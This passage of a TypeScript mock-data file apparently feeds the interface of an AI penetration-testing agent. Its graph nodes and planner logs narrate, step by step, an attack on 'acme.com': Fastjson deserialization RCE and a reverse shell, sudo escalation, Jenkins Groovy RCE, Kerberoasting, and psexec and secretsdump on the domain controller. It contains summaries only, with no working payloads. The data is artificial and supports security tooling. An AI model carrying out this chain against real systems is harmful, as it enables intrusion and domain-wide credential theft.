"svc_deploy belongs to Domain Admins; psexec.py logged into DC01 with it to get SYSTEM, and secretsdump exported the whole domain's NTLM hashes (including krbtgt), completing control of the target.",
|
||
intent_id: "i13",
|
||
task_id: "t-acme-web",
|
||
task_description: "External penetration of the Acme official site and admin",
|
||
ts: T("2026-07-26T00:20:00Z"),
|
||
},
|
||
];
|
||
|
||
// ── Exploration graph (active task) ──────────────────────────────────────────
|
||
// Current model: the root is a fact/state=origin (rendered as "Origin"); payload is a JSON string,
|
||
// goals read text and everything else reads summary. Structure: root→goal(spawns)→intent(spawns)→fact/finding(yields),
|
||
// finding→goal(proves), hint→intent(derived_from).
|
||
const P = (o: Record<string, string>) => JSON.stringify(o);
|
||
|
||
export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
|
||
nodes: [
|
||
{
|
||
id: "root",
|
||
type: "fact",
|
||
payload: P({ summary: "Root: acme.com external→internal in-depth penetration" }),
|
||
priority: 0,
|
||
state: "origin",
|
||
origin: "system",
|
||
ts: T("2026-07-24T09:12:00Z"),
|
||
},
|
||
|
||
// ── Goals (decomposed by the goals agent, escalating toward the internal target as findings arrive) ──
|
||
{
|
||
id: "g1",
|
||
type: "goal",
|
||
payload: P({ text: "Gain admin access to acme.com" }),
|
||
priority: 9,
|
||
state: "met",
|
||
origin: "goals",
|
||
ts: T("2026-07-24T09:13:00Z"),
|
||
},
|
||
{
|
||
id: "g2",
|
||
type: "goal",
|
||
payload: P({ text: "Read user sensitive data" }),
|
||
priority: 8,
|
||
state: "open",
|
||
origin: "goals",
|
||
ts: T("2026-07-24T09:13:00Z"),
|
||
},
|
||
{
|
||
id: "g3",
|
||
type: "goal",
|
||
payload: P({ text: "Break through the DMZ from the outside and establish an internal foothold" }),
|
||
priority: 9,
|
||
state: "met",
|
||
origin: "goals",
|
||
ts: T("2026-07-25T14:10:00Z"),
|
||
},
|
||
{
|
||
id: "g4",
|
||
type: "goal",
|
||
payload: P({ text: "Move laterally internally and take the internal target domain controller DC01" }),
|
||
priority: 10,
|
||
state: "met",
|
||
origin: "goals",
|
||
ts: T("2026-07-25T20:00:00Z"),
|
||
},
|
||
|
||
// ── Layer 1 · External reconnaissance / external findings ──
|
||
{
|
||
id: "i1",
|
||
type: "intent",
|
||
payload: P({ summary: "acme.com subdomain enumeration and port scanning" }),
|
||
priority: 6,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-24T09:20:00Z"),
|
||
},
|
||
{
|
||
id: "i2",
|
||
type: "intent",
|
||
payload: P({ summary: "Admin console default / weak credential testing" }),
|
||
priority: 9,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-26T03:30:00Z"),
|
||
},
|
||
{
|
||
id: "i3",
|
||
type: "intent",
|
||
payload: P({ summary: "Enumerate admin console features and user data APIs" }),
|
||
priority: 8,
|
||
state: "running",
|
||
origin: "planner",
|
||
ts: T("2026-07-26T03:55:00Z"),
|
||
},
|
||
{
|
||
id: "i4",
|
||
type: "intent",
|
||
payload: P({ summary: "SQL injection probing on the www.acme.com/search page" }),
|
||
priority: 8,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T22:00:00Z"),
|
||
},
|
||
{
|
||
id: "i5",
|
||
type: "intent",
|
||
payload: P({ summary: "Authorization bypass (IDOR) testing on the api.acme.com order API" }),
|
||
priority: 8,
|
||
state: "running",
|
||
origin: "planner",
|
||
ts: T("2026-07-26T02:30:00Z"),
|
||
},
|
||
{
|
||
id: "ig",
|
||
type: "intent",
|
||
payload: P({ summary: "www.acme.com .git source leak and hardcoded credential extraction" }),
|
||
priority: 7,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T20:20:00Z"),
|
||
},
|
||
|
||
// ── Layer 2 · Breaking through the DMZ to establish a foothold ──
|
||
{
|
||
id: "i6",
|
||
type: "intent",
|
||
payload: P({ summary: "shop.acme.com component fingerprinting and CVE correlation" }),
|
||
priority: 7,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T14:20:00Z"),
|
||
},
|
||
{
|
||
id: "i7",
|
||
type: "intent",
|
||
payload: P({ summary: "Trigger the shop deserialization RCE and obtain a reverse shell" }),
|
||
priority: 9,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T15:10:00Z"),
|
||
},
|
||
{
|
||
id: "i8",
|
||
type: "intent",
|
||
payload: P({ summary: "Local information gathering on the DMZ foothold and escalation to root" }),
|
||
priority: 8,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T16:00:00Z"),
|
||
},
|
||
|
||
// ── Layer 3 · Internal lateral depth (multi-layer testing) ──
|
||
{
|
||
id: "i9",
|
||
type: "intent",
|
||
payload: P({ summary: "Internal host discovery using the foothold as a pivot" }),
|
||
priority: 8,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
},
|
||
{
|
||
id: "i10",
|
||
type: "intent",
|
||
payload: P({ summary: "Internal credential reuse and password spraying" }),
|
||
priority: 8,
|
||
state: "running",
|
||
origin: "planner",
|
||
ts: T("2026-07-26T03:40:00Z"),
|
||
},
|
||
{
|
||
id: "i11",
|
||
type: "intent",
|
||
payload: P({ summary: "Unauthenticated Groovy script execution (RCE) on the internal Jenkins" }),
|
||
priority: 9,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T21:30:00Z"),
|
||
},
|
||
{
|
||
id: "i12",
|
||
type: "intent",
|
||
payload: P({ summary: "Kerberoast domain service accounts and crack them offline" }),
|
||
priority: 8,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T22:40:00Z"),
|
||
},
|
||
{
|
||
id: "i13",
|
||
type: "intent",
|
||
payload: P({ summary: "Log in with domain admin credentials and take the domain controller DC01" }),
|
||
priority: 10,
|
||
state: "done",
|
||
origin: "planner",
|
||
ts: T("2026-07-25T23:50:00Z"),
|
||
},
|
||
|
||
// ── Facts ──
|
||
{
|
||
id: "fa1",
|
||
type: "fact",
|
||
payload: P({ summary: "Discovered the subdomain admin.acme.com (Element-UI admin console)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#1",
|
||
ts: T("2026-07-24T09:40:00Z"),
|
||
},
|
||
{
|
||
id: "fa2",
|
||
type: "fact",
|
||
payload: P({ summary: "The q parameter on the search page is an error-based injection point (MSSQL)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#4",
|
||
ts: T("2026-07-25T22:05:00Z"),
|
||
},
|
||
{
|
||
id: "faGit",
|
||
type: "fact",
|
||
payload: P({ summary: ".git is downloadable; git-dumper recovered the backend source" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "workG",
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
},
|
||
{
|
||
id: "faCreds",
|
||
type: "fact",
|
||
payload: P({ summary: "config.php in the source hardcodes the DB password sa / Acme@2021 (suspected shared internally)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "workG",
|
||
ts: T("2026-07-25T20:35:00Z"),
|
||
},
|
||
{
|
||
id: "fa3",
|
||
type: "fact",
|
||
payload: P({ summary: "shop fingerprint matched Fastjson 1.2.24 (known deserialization RCE)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#6",
|
||
ts: T("2026-07-25T14:40:00Z"),
|
||
},
|
||
{
|
||
id: "fa4",
|
||
type: "fact",
|
||
payload: P({ summary: "Reverse shell succeeded: www-data@dmz-web01(10.0.20.15), in the DMZ segment" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#7",
|
||
ts: T("2026-07-25T15:40:00Z"),
|
||
},
|
||
{
|
||
id: "fa5",
|
||
type: "fact",
|
||
payload: P({ summary: "sudo -l: (ALL) NOPASSWD: /usr/bin/python3 → escalation to root possible" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#8",
|
||
ts: T("2026-07-25T16:20:00Z"),
|
||
},
|
||
{
|
||
id: "fa6",
|
||
type: "fact",
|
||
payload: P({ summary: "The foothold's second NIC connects directly to 10.10.10.0/24 (crossing the DMZ boundary)" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#9",
|
||
ts: T("2026-07-25T20:40:00Z"),
|
||
},
|
||
{
|
||
id: "fa7",
|
||
type: "fact",
|
||
payload: P({ summary: "Alive internally: 10.10.10.10 DC01 (domain controller) / 10.10.10.5 FS01 (SMB) / 10.10.10.20 JENKINS" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#9",
|
||
ts: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: "fa8",
|
||
type: "fact",
|
||
payload: P({ summary: "The JENKINS /script console is unauthenticated and executes Groovy directly" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#11",
|
||
ts: T("2026-07-25T21:45:00Z"),
|
||
},
|
||
{
|
||
id: "fa9",
|
||
type: "fact",
|
||
payload: P({ summary: "Exported the plaintext password of domain account acme\\svc_deploy from the Jenkins credentials store" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#11",
|
||
ts: T("2026-07-25T22:10:00Z"),
|
||
},
|
||
{
|
||
id: "fa10",
|
||
type: "fact",
|
||
payload: P({ summary: "Kerberoasted svc_sql's TGS; hashcat cracked the password Sql@2020" }),
|
||
priority: 0,
|
||
state: "open",
|
||
origin: "work#12",
|
||
ts: T("2026-07-25T23:20:00Z"),
|
||
},
|
||
|
||
// ── Findings ──
|
||
{
|
||
id: "fi1",
|
||
type: "finding",
|
||
payload: P({ summary: "Admin console default credentials admin/admin123" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#2",
|
||
ts: T("2026-07-26T03:50:00Z"),
|
||
},
|
||
{
|
||
id: "fi2",
|
||
type: "finding",
|
||
payload: P({ summary: "SQL injection (search q) can read the acme_prod database" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#4",
|
||
ts: T("2026-07-26T01:20:00Z"),
|
||
},
|
||
{
|
||
id: "fi3",
|
||
type: "finding",
|
||
payload: P({ summary: "IDOR: /v1/orders?id= can read other users' orders" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#5",
|
||
ts: T("2026-07-26T02:44:00Z"),
|
||
},
|
||
{
|
||
id: "fiSrc",
|
||
type: "finding",
|
||
payload: P({ summary: "Source leak + hardcoded database credentials (sa/Acme@2021)" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "workG",
|
||
ts: T("2026-07-25T20:36:00Z"),
|
||
},
|
||
{
|
||
id: "fiRce",
|
||
type: "finding",
|
||
payload: P({ summary: "shop Fastjson deserialization RCE; server command execution obtained" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#7",
|
||
ts: T("2026-07-25T15:40:00Z"),
|
||
},
|
||
{
|
||
id: "fiPriv",
|
||
type: "finding",
|
||
payload: P({ summary: "Local privilege escalation to root on the DMZ foothold (sudo NOPASSWD misconfiguration)" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#8",
|
||
ts: T("2026-07-25T16:20:00Z"),
|
||
},
|
||
{
|
||
id: "fiJenkins",
|
||
type: "finding",
|
||
payload: P({ summary: "Unauthenticated Groovy on the internal Jenkins → server RCE" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#11",
|
||
ts: T("2026-07-25T21:50:00Z"),
|
||
},
|
||
{
|
||
id: "fiKerb",
|
||
type: "finding",
|
||
payload: P({ summary: "Kerberoasting cracked the domain service account svc_sql's password" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#12",
|
||
ts: T("2026-07-25T23:20:00Z"),
|
||
},
|
||
{
|
||
id: "fiDC",
|
||
type: "finding",
|
||
payload: P({ summary: "Domain controller DC01 taken (Domain Admin) — internal target met" }),
|
||
priority: 0,
|
||
state: "confirmed",
|
||
origin: "work#13",
|
||
ts: T("2026-07-26T00:20:00Z"),
|
||
},
|
||
|
||
// ── Hints (injected by the main agent) ──
|
||
{
|
||
id: "h1",
|
||
type: "hint",
|
||
payload: P({ summary: "The admin console is Element-UI; run the default credential list first" }),
|
||
priority: 5,
|
||
state: "consumed",
|
||
origin: "mainagent",
|
||
ts: T("2026-07-26T03:20:00Z"),
|
||
},
|
||
{
|
||
id: "h2",
|
||
type: "hint",
|
||
payload: P({ summary: "Attack Jenkins first internally: unauthenticated /script gives direct Groovy RCE" }),
|
||
priority: 6,
|
||
state: "consumed",
|
||
origin: "mainagent",
|
||
ts: T("2026-07-25T21:20:00Z"),
|
||
},
|
||
{
|
||
id: "h3",
|
||
type: "hint",
|
||
payload: P({ summary: "Spray the DB credentials from the source internally; likely shared" }),
|
||
priority: 6,
|
||
state: "consumed",
|
||
origin: "mainagent",
|
||
ts: T("2026-07-25T23:10:00Z"),
|
||
},
|
||
],
|
||
edges: [
|
||
// Root → goal
|
||
{ src: "root", dst: "g1", rel: "spawns" },
|
||
{ src: "root", dst: "g2", rel: "spawns" },
|
||
{ src: "root", dst: "g3", rel: "spawns" },
|
||
{ src: "root", dst: "g4", rel: "spawns" },
|
||
// Goal → intent
|
||
{ src: "g1", dst: "i1", rel: "spawns" },
|
||
{ src: "g1", dst: "i2", rel: "spawns" },
|
||
{ src: "g1", dst: "i3", rel: "spawns" },
|
||
{ src: "g2", dst: "i4", rel: "spawns" },
|
||
{ src: "g2", dst: "i5", rel: "spawns" },
|
||
{ src: "g2", dst: "ig", rel: "spawns" },
|
||
{ src: "g3", dst: "i6", rel: "spawns" },
|
||
{ src: "g3", dst: "i7", rel: "spawns" },
|
||
{ src: "g3", dst: "i8", rel: "spawns" },
|
||
{ src: "g4", dst: "i9", rel: "spawns" },
|
||
{ src: "g4", dst: "i10", rel: "spawns" },
|
||
{ src: "g4", dst: "i11", rel: "spawns" },
|
||
{ src: "g4", dst: "i12", rel: "spawns" },
|
||
{ src: "g4", dst: "i13", rel: "spawns" },
|
||
// Intent → fact / finding (yields)
|
||
{ src: "i1", dst: "fa1", rel: "yields" },
|
||
{ src: "i4", dst: "fa2", rel: "yields" },
|
||
{ src: "i2", dst: "fi1", rel: "yields" },
|
||
{ src: "i4", dst: "fi2", rel: "yields" },
|
||
{ src: "i5", dst: "fi3", rel: "yields" },
|
||
{ src: "ig", dst: "faGit", rel: "yields" },
|
||
{ src: "ig", dst: "faCreds", rel: "yields" },
|
||
{ src: "ig", dst: "fiSrc", rel: "yields" },
|
||
{ src: "i6", dst: "fa3", rel: "yields" },
|
||
{ src: "i7", dst: "fa4", rel: "yields" },
|
||
{ src: "i7", dst: "fiRce", rel: "yields" },
|
||
{ src: "i8", dst: "fa5", rel: "yields" },
|
||
{ src: "i8", dst: "fiPriv", rel: "yields" },
|
||
{ src: "i9", dst: "fa6", rel: "yields" },
|
||
{ src: "i9", dst: "fa7", rel: "yields" },
|
||
{ src: "i11", dst: "fa8", rel: "yields" },
|
||
{ src: "i11", dst: "fa9", rel: "yields" },
|
||
{ src: "i11", dst: "fiJenkins", rel: "yields" },
|
||
{ src: "i12", dst: "fa10", rel: "yields" },
|
||
{ src: "i12", dst: "fiKerb", rel: "yields" },
|
||
{ src: "i13", dst: "fiDC", rel: "yields" },
|
||
// Fact → new intent (fact-driven layering)
|
||
{ src: "fa3", dst: "i7", rel: "derived_from" },
|
||
{ src: "fa4", dst: "i8", rel: "derived_from" },
|
||
{ src: "fa4", dst: "i9", rel: "derived_from" },
|
||
{ src: "faCreds", dst: "i10", rel: "derived_from" },
|
||
{ src: "fa7", dst: "i11", rel: "derived_from" },
|
||
{ src: "fa7", dst: "i12", rel: "derived_from" },
|
||
{ src: "fa9", dst: "i13", rel: "derived_from" },
|
||
{ src: "fa10", dst: "i13", rel: "derived_from" },
|
||
// Hint → intent
|
||
{ src: "h1", dst: "i2", rel: "derived_from" },
|
||
{ src: "h2", dst: "i11", rel: "derived_from" },
|
||
{ src: "h3", dst: "i10", rel: "derived_from" },
|
||
// Finding → proves the goal is met
|
||
{ src: "fi1", dst: "g1", rel: "proves" },
|
||
{ src: "fiRce", dst: "g3", rel: "proves" },
|
||
{ src: "fiDC", dst: "g4", rel: "proves" },
|
||
],
|
||
};
|
||
|
||
export const intents: TaskNode[] = explorationGraph.nodes.filter((n) => n.type === "intent");
|
||
export const frontier: TaskNode[] = explorationGraph.nodes.filter(
|
||
(n) => n.type === "intent" && (n.state === "open" || n.state === "running"),
|
||
);
|
||
|
||
// ── Activity (execution process)─────────────────────────────────────────────────────
|
||
// Sessions are derived from "intents" by sessions-tab (session.id = intent.id); transcript = the activity stream matching
|
||
// the intent_id. planner = worker "planner", main agent = worker "mainagent".
|
||
// Each worker session contains the full tool execution chain (tool_use → tool_result → …→ result).
|
||
export const activity: Activity[] = [
|
||
// planner — the full decision chain each round: read the situation → pull worker outputs for comparison → judge goals → dispatch direction via add_intent
|
||
// ── Round 0 · Goal decomposition and the first intents (2026-07-24 09:12) ──
|
||
{ seq: 1000, worker: "planner", ts: T("2026-07-24T09:12:10Z"), kind: "round", summary: "Round 0 · Goal decomposition" },
|
||
{
|
||
seq: 1001,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:12:25Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"graph_overview: goals are already decomposed by the goal layer — g1 'Gain admin access to acme.com', g2 'Read user sensitive data', both open; facts=0, recent_facts is empty (the graph is essentially blank, with no worker output yet). Assets in scope are just the root domain acme.com + one /24 segment. Initial attack-surface read: five entries — www / admin / api / shop / vpn. There is no fact in the graph, so I can only do [ultra-light read-only probing] to make the initial intents concrete, and never do the actual work in a plan.",
|
||
},
|
||
{
|
||
seq: 1002,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:12:40Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "p0-probe",
|
||
summary: "curl -sI https://acme.com; curl -sI https://admin.acme.com",
|
||
detail: "The opening situation is nearly blank; do ≤3 read-only probes to calibrate the initial intent directions (no enumeration/validation — that is the worker's job).",
|
||
},
|
||
{
|
||
seq: 1003,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:12:52Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "p0-probe",
|
||
summary:
|
||
"acme.com → 302 → www; Server: nginx/1.24.0\nadmin.acme.com → 200, X-Powered-By absent, body matches element-ui/vue fingerprints",
|
||
detail: "admin is a standalone admin login page; the five entries are confirmed valid, so the initial intent descriptions can be made precise.",
|
||
},
|
||
{
|
||
seq: 1004,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:13:00Z"),
|
||
kind: "tool_use",
|
||
tool: "add_intent",
|
||
tool_use_id: "p0-ai",
|
||
summary: "add_intent × 4 (batch-dispatch the first exploration directions)",
|
||
detail:
|
||
"intents=[\n { summary: 'Full subdomain enumeration of acme.com + port/service identification of alive hosts to map the attack surface', asset_ids: [acme.com], priority: 6 },\n { summary: 'admin.acme.com admin console default/weak credential testing (Element-UI login, no captcha)', asset_ids: [admin], priority: 9 },\n { summary: 'SQL injection probing of the www.acme.com/search q parameter', asset_ids: [www], priority: 8 },\n { summary: 'api.acme.com order API authorization bypass (IDOR) testing', asset_ids: [api], priority: 8 },\n]\nparent_ids all empty (brand-new top-level directions, fall back to linking the origin fact).",
|
||
},
|
||
{
|
||
seq: 1005,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:13:02Z"),
|
||
kind: "tool_result",
|
||
tool: "add_intent",
|
||
tool_use_id: "p0-ai",
|
||
summary: "4 intents created → ids=[i1, i2, i4, i5], linked into the frontier",
|
||
detail: "Deliberately keeping the routes diverse: i1 reconnaissance + i2 (g1 credential route) + i4/i5 (g2 data route), two independent mechanisms in parallel to avoid premature convergence.",
|
||
},
|
||
{
|
||
seq: 1006,
|
||
worker: "planner",
|
||
ts: T("2026-07-24T09:13:05Z"),
|
||
kind: "text",
|
||
summary:
|
||
"This round derived the first 4 intents: i1 asset reconnaissance, i2 admin credentials, i4 injection, i5 API authorization bypass. g1 goes through i2 and g2 through i4/i5; both goals have independent entries in progress. Escalate along lineage once workers produce facts.",
|
||
},
|
||
|
||
// ── Round 1 · Attack surface escalation (2026-07-25 14:12) ──
|
||
{ seq: 1100, worker: "planner", ts: T("2026-07-25T14:12:00Z"), kind: "round", summary: "Round 1 · Attack surface escalation" },
|
||
{
|
||
seq: 1101,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:15Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"Comparing recent_facts: workG returned faGit '.git is downloadable; git-dumper recovered the backend source' and faCreds 'config.php hardcodes sa/Acme@2021 (suspected shared internally)'; work#6's fingerprinting returned fa3 'shop matched Fastjson 1.2.24 (known deserialization RCE)'. Two [materially new mechanisms]: (1) the hardcoded DB password may be reused across the internal network; (2) Fastjson has a mature RCE playbook. This opens an entry [essentially different] from the existing credential/injection routes — breaking into the DMZ directly via RCE on shop. Pull faGit details first to verify the artifacts.",
|
||
},
|
||
{
|
||
seq: 1102,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:28Z"),
|
||
kind: "tool_use",
|
||
tool: "node_detail",
|
||
tool_use_id: "p1-nd",
|
||
summary: "node_detail(faGit) — verifying workG's source recovery artifacts",
|
||
detail: "Before add_intent, check what the worker actually recovered, to avoid guessing directions from fingerprints.",
|
||
},
|
||
{
|
||
seq: 1103,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:35Z"),
|
||
kind: "tool_result",
|
||
tool: "node_detail",
|
||
tool_use_id: "p1-nd",
|
||
summary:
|
||
"faGit evidence: git-dumper recovered config.php / db.php / order_api.php; config.php contains $db=['host'=>'10.10.10.5','user'=>'sa','pass'=>'Acme@2021']",
|
||
detail: "The hardcoding points to the internal 10.10.10.5 (FS01), corroborating faCreds' 'shared internally' inference — the credentials are worth reusing once the RCE lands.",
|
||
},
|
||
{
|
||
seq: 1104,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:50Z"),
|
||
kind: "tool_use",
|
||
tool: "add_intent",
|
||
tool_use_id: "p1-ai",
|
||
summary: "add_intent × 2 (Fastjson breakthrough chain; serial steps, dispatch the executable step first)",
|
||
detail:
|
||
"intents=[\n { summary: 'Deep-dive shop.acme.com component fingerprinting + precise Fastjson 1.2.24 CVE correlation (confirm the gadget chain)', asset_ids: [shop], parent_ids: [fa3], priority: 7 },\n { summary: 'Build a Fastjson deserialization payload to trigger the shop RCE and obtain a reverse shell', asset_ids: [shop], parent_ids: [fa3], priority: 9 },\n]\nNote: this is a strongly dependent serial chain; TodoWrite already recorded the three steps 'fingerprint → RCE → foothold escalation', and this round dispatches only the first two (escalation depends on the shell output, dispatch next round).",
|
||
},
|
||
{
|
||
seq: 1105,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:12:52Z"),
|
||
kind: "tool_result",
|
||
tool: "add_intent",
|
||
tool_use_id: "p1-ai",
|
||
summary: "2 intents created → ids=[i6, i7], linked into lineage via fa3",
|
||
},
|
||
{
|
||
seq: 1106,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T14:13:00Z"),
|
||
kind: "text",
|
||
summary:
|
||
"Situation escalated: source code + hardcoded internal credentials + Fastjson RCE form a brand-new breakthrough route. The goal layer has been asked to register g3 'Break through the DMZ from the outside and establish an internal foothold', dispatching i6 (fingerprint/CVE correlation) and i7 (trigger the RCE). The DMZ escalation step depends on the shell and is recorded as a todo for the next round.",
|
||
},
|
||
|
||
// ── Round 2 · Foothold established, pivoting internal (2026-07-25 20:25) ──
|
||
{
|
||
seq: 1200,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:00Z"),
|
||
kind: "round",
|
||
summary: "Round 2 · Foothold established, pivoting internal",
|
||
},
|
||
{
|
||
seq: 1201,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:18Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"Comparing lineage: i7 returned fa4 'reverse shell www-data@dmz-web01(10.0.20.15), in the DMZ segment'; the escalation chain returned fa5 'sudo -l matched NOPASSWD python3 → escalation to root possible' and fa6 'the foothold's second NIC connects directly to the internal 10.10.10.0/24'. g3's acceptance conditions (break through the DMZ + establish a foothold) are directly satisfied by fa4+fa6. Verify fa6's internal reachability first, then prove_goal.",
|
||
},
|
||
{
|
||
seq: 1202,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:30Z"),
|
||
kind: "tool_use",
|
||
tool: "node_detail",
|
||
tool_use_id: "p2-nd",
|
||
summary: "node_detail(fa6) — confirming dual NICs and internal reachability",
|
||
},
|
||
{
|
||
seq: 1203,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:38Z"),
|
||
kind: "tool_result",
|
||
tool: "node_detail",
|
||
tool_use_id: "p2-nd",
|
||
summary: "fa6 evidence: ip a → eth0 10.0.20.15 (DMZ) / eth1 10.10.10.15 (internal); ping 10.10.10.10 succeeds, crossing the DMZ boundary confirmed",
|
||
},
|
||
{
|
||
seq: 1204,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:50Z"),
|
||
kind: "tool_use",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p2-pg",
|
||
summary: "prove_goal(g3, evidence=fa6)",
|
||
detail:
|
||
"reason: i7's RCE gained the DMZ foothold (fa4), fa5 escalated to root, and fa6 proved the second NIC connects directly to the internal network and can ping DC01 — the acceptance for 'Break through the DMZ and establish an internal foothold' is met.",
|
||
},
|
||
{
|
||
seq: 1205,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:52Z"),
|
||
kind: "tool_result",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p2-pg",
|
||
summary: "goal g3 → met (evidence fa6 linked); g1/g2/g4 still unmet, the task continues",
|
||
},
|
||
{
|
||
seq: 1206,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:26:10Z"),
|
||
kind: "tool_use",
|
||
tool: "add_intent",
|
||
tool_use_id: "p2-ai",
|
||
summary: "add_intent × 4 (expand internal lateral movement with the foothold as pivot)",
|
||
detail:
|
||
"intents=[\n { summary: 'Use dmz-web01 as pivot for host discovery and port identification on the internal 10.10.10.0/24', asset_ids: [dmz-web01], parent_ids: [fa6], priority: 8 },\n { summary: 'Internal lateral movement: reuse the hardcoded password sa/Acme@2021 for credential reuse and password spraying', parent_ids: [faCreds], priority: 8 },\n { summary: 'Unauthenticated /script Groovy execution (RCE) on the internal Jenkins(10.10.10.20)', parent_ids: [fa6], priority: 9 },\n { summary: 'Kerberoast domain service accounts and crack them offline', parent_ids: [fa6], priority: 8 },\n]\nHost discovery is a prerequisite (dispatched first); the other three are parallel lateral exploration dimensions.",
|
||
},
|
||
{
|
||
seq: 1207,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:26:12Z"),
|
||
kind: "tool_result",
|
||
tool: "add_intent",
|
||
tool_use_id: "p2-ai",
|
||
summary: "4 intents created → ids=[i9, i10, i11, i12]",
|
||
},
|
||
{
|
||
seq: 1208,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:26:20Z"),
|
||
kind: "text",
|
||
summary:
|
||
"g3 met; the attack surface moves from external to internal. Registered g4 'Move laterally internally and take the internal target domain controller DC01', dispatching i9 (host discovery) + three parallel lateral tracks i10/i11/i12. Credential reuse is anchored directly on faCreds — the password leaked from external source code feeds internal lateral movement.",
|
||
},
|
||
|
||
// ── Round 3 · Target-met retrospective (2026-07-26 00:25) ──
|
||
{ seq: 1300, worker: "planner", ts: T("2026-07-26T00:25:00Z"), kind: "round", summary: "Round 3 · Target-met retrospective" },
|
||
{
|
||
seq: 1301,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:16Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"Comparing this round's worker output: i9→fa7 'alive internally: DC01/FS01/JENKINS'; i11→fa8 'Jenkins /script unauthenticated Groovy' + fa9 'exported the plaintext password of acme\\svc_deploy from the Jenkins credentials store'; i12→fa10 'Kerberoasted the svc_sql TGS, hashcat cracked Sql@2020'. svc_deploy is in Domain Admins; i13 used it to take DC01 with psexec and secretsdump. g4's acceptance (take DC01) should be met — verify the finding evidence chain before stamping it.",
|
||
},
|
||
{
|
||
seq: 1302,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:30Z"),
|
||
kind: "tool_use",
|
||
tool: "list_findings",
|
||
tool_use_id: "p3-lf",
|
||
summary: "list_findings — verifying the confirmed evidence of DC01's fall",
|
||
},
|
||
{
|
||
seq: 1303,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:40Z"),
|
||
kind: "tool_result",
|
||
tool: "list_findings",
|
||
tool_use_id: "p3-lf",
|
||
summary:
|
||
"F-09 'Full control of domain controller DC01 / secretsdump exported all domain hashes' critical (evidence: psexec svc_deploy@10.10.10.10 + NTDS.dit dump); the upstream chain fa9→fa10→i13 is complete",
|
||
},
|
||
{
|
||
seq: 1304,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:52Z"),
|
||
kind: "tool_use",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p3-pg",
|
||
summary: "prove_goal(g4, evidence=F-09)",
|
||
detail:
|
||
"reason: Jenkins leaked svc_deploy (Domain Admin) → psexec controlled DC01 → secretsdump on all domain hashes; F-09 is confirmed and 'Take the internal target domain controller DC01' is met.",
|
||
},
|
||
{
|
||
seq: 1305,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:54Z"),
|
||
kind: "tool_result",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p3-pg",
|
||
summary: "goal g4 → met; system hint: g2 is still open, not the last goal, so the task is not fully wrapped up",
|
||
},
|
||
{
|
||
